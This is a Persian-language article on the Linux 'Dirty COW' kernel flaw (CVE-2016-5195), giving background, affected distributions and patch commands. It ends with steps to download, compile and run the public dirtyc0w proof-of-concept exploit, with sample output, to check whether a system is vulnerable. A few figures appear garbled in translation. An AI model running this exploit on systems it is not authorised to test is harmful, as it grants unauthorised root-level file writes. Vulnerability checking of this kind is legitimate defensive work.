چند روزی هست که اخباری درباره آسیبپذیری جدید لینوکس در خبر ها پخش شده است که گروه هستهی لینوکس اشکال امنیتی که در حملات علیه کارگزارهای عملیاتی استفاده میشد را برطرف کرد، این آسیبپذیری معروف است به گاو کثیف Dirty COW که در ادامه به معرفی و راه حل Fix آن می پردازیم.
گروه هستهی لینوکس یک اشکال امنیتی که در حملات علیه کارگزارهای عملیاتی استفاده میشد را برطرف کرد. شناسهی این آسیبپذیری روز-صفرم CVE-2016-5195 است اما از آن با نام «گاو کثیف» نیز یاد میشود. براساس وصلهی رسمی که دیروز منتشر شد، این آسیبپذیری در هستهی لینوکس قبل از نسخهی 3.9 که سال 2007 منتشر شده بود، وجود داشت. شواهدی مبنی بر این وجود ندارد که این آسیبپذیری از سال 2007 مورد بهرهبرداری قرار گرفته باشد اما محقق امنیتی فیل اوستر (Phil Oester) به Red Hat از حوادث اخیر خبر داد که یک مهاجم از کد این آسیبپذیری بهرهبرداری کرده است.
CVE-2016-5195 یا همان Dirty COW مشکل در شرایط رقابتی در هستهی لینوکس است
به گزارش Red Hat، آسیبپذیری CVE-2016-5195 شرایط رقابتی در روشی است که زیرسامانهی حافظهی هستهی لینوکس، شکستن (copy-on-write (COW در نگاشت حافظهی فقط-خواندنی خصوصی را مدیریت میکند. شرایط رقابتی در اصطلاح علوم کامپیوتر حالتی را بیان میکند که وظایف با ترتیب اشتباهی اجرا میشوند که باعث درهم شکستن برنامهها شده یا دری را برای اجرای کدها در آینده باز میکند.
نتیجهی آسیبپذیری CVE-2016-5195 برای یک مهاجم بالا بردن امتیازات در سامانهی قربانی حتی تا سطح دسترسی ریشه (root) است.
آسیبپذیری گاو کثیف (Dirty COW) از قصد، بیش از حد تبلیغ شده است
در کنار این واقعیت که این آسیبپذیری در حملات زنده مورد استفاده قرار گرفته، آسیبپذیری گاو کثیف به عنوان یک خطر برای سامانهی لینوکس مورد بررسی قرار نگرفته است اما این بدین معنی نیست که کاربران وصله کردن آن را به تأخیر بیندازند. محققان امنیتی که این آسیبپذیری را کشف کردند برای سرگرمی شرکتهای امنیتی، این نمونه را بیش از حد تبلیغ کردند. آنها یک آرم برای گاو کثیف، صفحهی وب، حساب کاربری توییتر و فروشگاه برخط که از طریق آن کیفهای لپتاپ به قیمت 17100 دلار به فروش میرسد را ایجاد کردند.
با این وجود، این خطر جدی است. در مصاحبهای با 73، اوستر اعلام کرد یکی از وبگاههایی که مدیریت میکند پس از بارگذاری بهرهبرداری CVE-2016-5195 بر روی آن، آلوده شده است. اوستر به نشریهها گفت: «همانطور که لینوس اعلام کرد این یک اشکال قدیمی است و از سالها پیش هستهی لینوکس را تحت تأثیر قرار داده است. تمامی کاربران لینوکس باید این اشکال را جدی گرفته و سامانهی ASAP خود را وصله کنند.»
معرفی کامل و دقیقآسیبپذیری CVE-2016-5195 یا Dirty COW:
لیست از توزیعهای لینوکس که Dirty COW تحت تاثیر قرار می دهد (از جمله ماشین های مجازی که از همان هسته استفاده می کنند)
- Red Hat Enterprise Linux 7.x
- Red Hat Enterprise Linux 6.x
- Red Hat Enterprise Linux 5.x
- CentOS Linux 7.x
- CentOS Linux 6.x
- CentOS Linux 5.x
- Debian Linux wheezy
- Debian Linux jessie
- Debian Linux stretch
- Debian Linux sid
- Ubuntu Linux precise (LTS 12.04)
- Ubuntu Linux trusty
- Ubuntu Linux xenial (LTS 16.04)
- Ubuntu Linux yakkety
- Ubuntu Linux vivid/ubuntu-core
- SUSE Linux Enterprise 11 and 12.
چطور آسیبپذیری CVE-2016-5195 یا Dirty COW را در لینوکس وصله کنیم؟
روش پیدا کردن ورژن کرنل:
$ uname -a $ uname -mrs
خروجی چیزی شبیه به این باید باشد:
Linux 3.13.0-95-generic x86_64
نکته 1: بعد از انجام مراحل لینوکس حتما نیاز به reboot دارد.
نکته 2: بهتر است همیشه قبل از انجام یک تغییر در سرور بک آپ از شرایط موجود داشته باشیم.
نکته 3: این آموزش بر اساس وصله ای که در تاریخ 21/Oct/2016 در cyberciti نوشته شده است تهییه شده است.
بروزرسانی برای Debian یا Ubuntu:
$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
Reboot سرور:
$ sudo reboot
بروزرسانی برای RHEL / CentOS Linux 5.x/6.x/7.x:
$ sudo yum update $ sudo reboot
بروزرسانی برای RHEL / CentOS Linux 4.x:
$ sudo up2date -u $ sudo reboot
بروزرسانی برای CloudLinux 6:
yum clean all; yum install kernel-2.6.32-673.26.1.lve1.4.18.el6 kmod-lve-1.4-18.el6 --enablerepo=cloudlinux-updates-testing
بروزرسانی برای Suse Enterprise Linux با Opensuse Linux:
# zypper patch # reboot
تایید:
شما با دستورات زیر می توانید اطلاع پیدا کنید که بروزرسانی به درستی انجام شده است یا خیر
$ uname -a $ uname -r $ uname -mrs
اگر سیستم شما آسب پذیر است:
script برای RHEL/CentOS:
$ wget https://access.redhat.com/sites/default/files/rh-cve-2016-5195_1.sh $ bash rh-cve-2016-5195_1.sh
برای دیگر نسخه های PoC یا proof of concept exploit code:
$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
اجرا را با دسترسی روت :
$ sudo -s # echo this is not a test > foo
اجرا با دسترسی کاربر عادی:
$ gcc -lpthread dirtyc0w.c -o dirtyc0w $ ./dirtyc0w foo m00000000000000000 mmap 56123000 madvise 0 procselfmem 1800000000 $ cat foo m00000000000000000